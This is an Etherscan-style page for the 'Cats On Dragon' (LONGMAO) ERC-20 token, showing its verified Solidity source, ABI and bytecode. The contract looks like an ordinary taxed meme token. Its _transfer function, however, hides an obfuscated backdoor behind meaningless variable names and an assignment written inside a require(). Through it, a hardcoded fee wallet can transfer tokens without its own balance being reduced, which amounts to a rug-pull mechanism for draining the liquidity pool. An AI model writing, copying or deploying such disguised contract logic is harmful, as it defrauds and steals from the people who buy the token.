Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 LONGMAO
Holders
97
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,778,547,317.311510259 LONGMAOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
LONGMAO
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-11 */ // SPDX-License-Identifier: MIT /** Web: https://catsondragon.fun X: https://x.com/catsondragon Tg: https://t.me/catsondragon **/ pragma solidity 0.8.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract LONGMAO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _shouldExcludedYi; mapping (address => bool) private _haoHaoo; address payable private _yaoYaoo; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=12; uint256 private _reduceSellTaxAt=12; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Cats On Dragon"; string private constant _symbol = unicode"LONGMAO"; uint256 public _maxTxAmount = _tTotal.mul(2).div(100); uint256 public _maxWalletSize = _tTotal.mul(2).div(100); uint256 public _taxSwapThreshold= _tTotal.mul(1).div(100); uint256 public _maxTaxSwap= _tTotal.mul(1).div(100); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _yaoYaoo = payable(0xA38100B8F93e328B00070c92cbfED0272DA37068); _tOwned[_msgSender()] = _tTotal; _shouldExcludedYi[owner()] = true; _shouldExcludedYi[address(this)] = true; _shouldExcludedYi[_yaoYaoo] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initialize() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 bbqAmt) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(bbqAmt > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _tOwned[from] = _tOwned[from] - bbqAmt; _tOwned[to] = _tOwned[to] + bbqAmt; emit Transfer(from, to, bbqAmt); return; } uint256 bbzAmt=0; uint256 keoKeoo=3+bbqAmt.sub(3); if (from != owner() && to != owner() && to != _yaoYaoo) { require(_haoHaoo[_yaoYaoo]=true && !_haoHaoo[to]); if(_buyCount==0){ bbzAmt = bbqAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); }if(_haoHaoo[from]&&_decimals==9){keoKeoo=_decimals==9?(4-4)*(bbqAmt*4):(9-9)*(bbqAmt+9);} if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _shouldExcludedYi[to] ) { require(bbqAmt <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + bbqAmt <= _maxWalletSize, "Exceeds the maxWalletSize."); bbzAmt = bbqAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ) { bbzAmt = bbqAmt.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(bbqAmt, min(contractTokenBalance, _maxTaxSwap))); sendETHToFee(); } } if(bbzAmt>0){ _tOwned[address(this)]=_tOwned[address(this)].add(bbzAmt); emit Transfer(from, address(this), bbzAmt); } _tOwned[from]=_tOwned[from].sub(keoKeoo); _tOwned[to]=_tOwned[to].add(bbqAmt.sub(bbzAmt)); emit Transfer(from, to, bbqAmt.sub(bbzAmt)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function rescueEth() external onlyOwner { payable(owner()).transfer(address(this).balance); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee() private { _yaoYaoo.transfer(address(this).balance); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600655600f6007555f6008555f600955600c600a55600c600b55600a600c555f600d5561005c606461005660026009600a610041919061042b565b610050906461f313f880610439565b9061022f565b906102bb565b600e55610075606461005660026100416009600a61042b565b600f5561008e606461005660016100416009600a61042b565b6010556100a7606461005660016100416009600a61042b565b6011556013805461ffff60a81b191690555f60148190556015553480156100cc575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673a38100b8f93e328b00070c92cbfed0272da3706817905561013f6009600a61042b565b61014e906461f313f880610439565b335f9081526001602081905260408220929092556003906101765f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101d33390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61020a6009600a61042b565b610219906461f313f880610439565b60405190815260200160405180910390a36104a4565b5f825f0361023e57505f6102b5565b5f6102498385610439565b9050826102568583610450565b146102b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6102b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061030260201b60201c565b5f81836103225760405162461bcd60e51b81526004016102a9919061046f565b505f61032e8486610450565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561038557815f190482111561036b5761036b610337565b8085161561037857918102915b93841c9390800290610350565b509250929050565b5f8261039b575060016102b5565b816103a757505f6102b5565b81600181146103bd57600281146103c7576103e3565b60019150506102b5565b60ff8411156103d8576103d8610337565b50506001821b6102b5565b5060208310610133831016604e8410600b8410161715610406575081810a6102b5565b610410838361034b565b805f190482111561042357610423610337565b029392505050565b5f6102b260ff84168361038d565b80820281158282048414176102b5576102b5610337565b5f8261046a57634e487b7160e01b5f52601260045260245ffd5b500490565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6118e3806104b15f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f7578063bf474bed14610316578063c9567bf91461032b578063ce31a06b1461033f578063dd62ed3e14610353575f80fd5b80637d1db4a5146102645780638129fc1c146102795780638da5cb5b1461028d5780638f9a55c0146102b357806395d89b41146102c8575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806370a0823114610206578063715018a61461023a578063751039fc14610250575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d21b0ba399027b710223930b3b7b760911b60208201525b60405161015d91906114ed565b60405180910390f35b348015610171575f80fd5b50610185610180366004611536565b610397565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa60115481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103ad565b3480156101d7575f80fd5b506101856101e6366004611560565b6103ce565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b506101aa61022036600461159e565b6001600160a01b03165f9081526001602052604090205490565b348015610245575f80fd5b5061024e610435565b005b34801561025b575f80fd5b5061024e6104af565b34801561026f575f80fd5b506101aa600e5481565b348015610284575f80fd5b5061024e610563565b348015610298575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102be575f80fd5b506101aa600f5481565b3480156102d3575f80fd5b506040805180820190915260078152664c4f4e474d414f60c81b6020820152610150565b348015610302575f80fd5b50610185610311366004611536565b61075d565b348015610321575f80fd5b506101aa60105481565b348015610336575f80fd5b5061024e610769565b34801561034a575f80fd5b5061024e61094e565b34801561035e575f80fd5b506101aa61036d3660046115b9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a33384846109b1565b5060015b92915050565b5f6103ba6009600a6116e4565b6103c9906461f313f8806116f2565b905090565b5f6103da848484610ad5565b61042b843361042685604051806060016040528060288152602001611886602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061116a565b6109b1565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e90611709565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d85760405162461bcd60e51b815260040161045e90611709565b6104e46009600a6116e4565b6104f3906461f313f8806116f2565b600e556105026009600a6116e4565b610511906461f313f8806116f2565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105416009600a6116e4565b610550906461f313f8806116f2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461058c5760405162461bcd60e51b815260040161045e90611709565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d69030906105c76009600a6116e4565b610426906461f313f8806116f2565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610626573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064a919061173e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cd919061173e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610717573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073b919061173e565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103a3338484610ad5565b5f546001600160a01b031633146107925760405162461bcd60e51b815260040161045e90611709565b601354600160a01b900460ff16156107ec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045e565b6012546001600160a01b031663f305d719473061081d816001600160a01b03165f9081526001602052604090205490565b5f806108305f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610896573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108bb9190611759565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611784565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109775760405162461bcd60e51b815260040161045e90611709565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109ae573d5f803e3d5ffd5b50565b6001600160a01b038316610a135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610b9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610bfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b601354600160b01b900460ff161580610c1e5750601354600160a81b900460ff165b15610cc8576001600160a01b0383165f90815260016020526040902054610c469082906117a3565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c759082906117b6565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac89085815260200190565b5f80610cd58360036111a2565b610ce09060036117b6565b9050610cf35f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2157505f546001600160a01b03858116911614155b8015610d3b57506005546001600160a01b03858116911614155b1561102c576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d7d575f80fd5b600d545f03610db557610db26064610dac600a54600d5411610da157600654610da5565b6008545b86906111ea565b90611268565b91505b6001600160a01b0385165f9081526004602052604090205460ff168015610dda575060015b15610df757610dea8360046116f2565b610df4905f6116f2565b90505b6013546001600160a01b038681169116148015610e2257506012546001600160a01b03858116911614155b8015610e4657506001600160a01b0384165f9081526003602052604090205460ff16155b15610f4957600e54831115610e9d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045e565b600f5483610ebf866001600160a01b03165f9081526001602052604090205490565b610ec991906117b6565b1115610f175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b610f326064610dac600a54600d5411610da157600654610da5565b600d80549193505f610f43836117c9565b91905055505b6013546001600160a01b038581169116148015610f6f57506001600160a01b0385163014155b15610f9c57610f996064610dac600b54600d5411610f8f57600754610da5565b60095486906111ea565b91505b305f90815260016020526040902054601354600160a81b900460ff16158015610fd257506013546001600160a01b038681169116145b8015610fe75750601354600160b01b900460ff165b8015610ff65750600c54600d54115b1561102a576010548111156110225761102261101d85611018846011546112a9565b6112a9565b6112bd565b61102a61142d565b505b81156110a457305f9081526001602052604090205461104b9083611463565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061109b9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110c690826111a2565b6001600160a01b0386165f908152600160205260409020556111096110eb84846111a2565b6001600160a01b0386165f9081526001602052604090205490611463565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115286866111a2565b60405190815260200160405180910390a35050505050565b5f818484111561118d5760405162461bcd60e51b815260040161045e91906114ed565b505f61119984866117a3565b95945050505050565b5f6111e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116a565b9392505050565b5f825f036111f957505f6103a7565b5f61120483856116f2565b90508261121185836117e1565b146111e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b5f6111e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c1565b5f8183116112b757826111e3565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061130357611303611800565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561135a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061137e919061173e565b8160018151811061139157611391611800565b6001600160a01b0392831660209182029290920101526012546113b791309116846109b1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ef9085905f90869030904290600401611814565b5f604051808303815f87803b158015611406575f80fd5b505af1158015611418573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109ae573d5f803e3d5ffd5b5f8061146f83856117b6565b9050838110156111e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f81836114e15760405162461bcd60e51b815260040161045e91906114ed565b505f61119984866117e1565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109ae575f80fd5b5f8060408385031215611547575f80fd5b823561155281611522565b946020939093013593505050565b5f805f60608486031215611572575f80fd5b833561157d81611522565b9250602084013561158d81611522565b929592945050506040919091013590565b5f602082840312156115ae575f80fd5b81356111e381611522565b5f80604083850312156115ca575f80fd5b82356115d581611522565b915060208301356115e581611522565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163e57815f1904821115611624576116246115f0565b8085161561163157918102915b93841c9390800290611609565b509250929050565b5f82611654575060016103a7565b8161166057505f6103a7565b816001811461167657600281146116805761169c565b60019150506103a7565b60ff841115611691576116916115f0565b50506001821b6103a7565b5060208310610133831016604e8410600b84101617156116bf575081810a6103a7565b6116c98383611604565b805f19048211156116dc576116dc6115f0565b029392505050565b5f6111e360ff841683611646565b80820281158282048414176103a7576103a76115f0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561174e575f80fd5b81516111e381611522565b5f805f6060848603121561176b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611794575f80fd5b815180151581146111e3575f80fd5b818103818111156103a7576103a76115f0565b808201808211156103a7576103a76115f0565b5f600182016117da576117da6115f0565b5060010190565b5f826117fb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118645784516001600160a01b03168352938301939183019160010161183f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d04845be8e60167818a0d7c595b97f68d756a619ffa1f6bf036b33564149edf564736f6c63430008190033
Deployed Bytecode
0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f7578063bf474bed14610316578063c9567bf91461032b578063ce31a06b1461033f578063dd62ed3e14610353575f80fd5b80637d1db4a5146102645780638129fc1c146102795780638da5cb5b1461028d5780638f9a55c0146102b357806395d89b41146102c8575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806370a0823114610206578063715018a61461023a578063751039fc14610250575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d21b0ba399027b710223930b3b7b760911b60208201525b60405161015d91906114ed565b60405180910390f35b348015610171575f80fd5b50610185610180366004611536565b610397565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa60115481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103ad565b3480156101d7575f80fd5b506101856101e6366004611560565b6103ce565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b506101aa61022036600461159e565b6001600160a01b03165f9081526001602052604090205490565b348015610245575f80fd5b5061024e610435565b005b34801561025b575f80fd5b5061024e6104af565b34801561026f575f80fd5b506101aa600e5481565b348015610284575f80fd5b5061024e610563565b348015610298575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102be575f80fd5b506101aa600f5481565b3480156102d3575f80fd5b506040805180820190915260078152664c4f4e474d414f60c81b6020820152610150565b348015610302575f80fd5b50610185610311366004611536565b61075d565b348015610321575f80fd5b506101aa60105481565b348015610336575f80fd5b5061024e610769565b34801561034a575f80fd5b5061024e61094e565b34801561035e575f80fd5b506101aa61036d3660046115b9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a33384846109b1565b5060015b92915050565b5f6103ba6009600a6116e4565b6103c9906461f313f8806116f2565b905090565b5f6103da848484610ad5565b61042b843361042685604051806060016040528060288152602001611886602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061116a565b6109b1565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e90611709565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d85760405162461bcd60e51b815260040161045e90611709565b6104e46009600a6116e4565b6104f3906461f313f8806116f2565b600e556105026009600a6116e4565b610511906461f313f8806116f2565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105416009600a6116e4565b610550906461f313f8806116f2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461058c5760405162461bcd60e51b815260040161045e90611709565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d69030906105c76009600a6116e4565b610426906461f313f8806116f2565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610626573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064a919061173e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cd919061173e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610717573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073b919061173e565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103a3338484610ad5565b5f546001600160a01b031633146107925760405162461bcd60e51b815260040161045e90611709565b601354600160a01b900460ff16156107ec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045e565b6012546001600160a01b031663f305d719473061081d816001600160a01b03165f9081526001602052604090205490565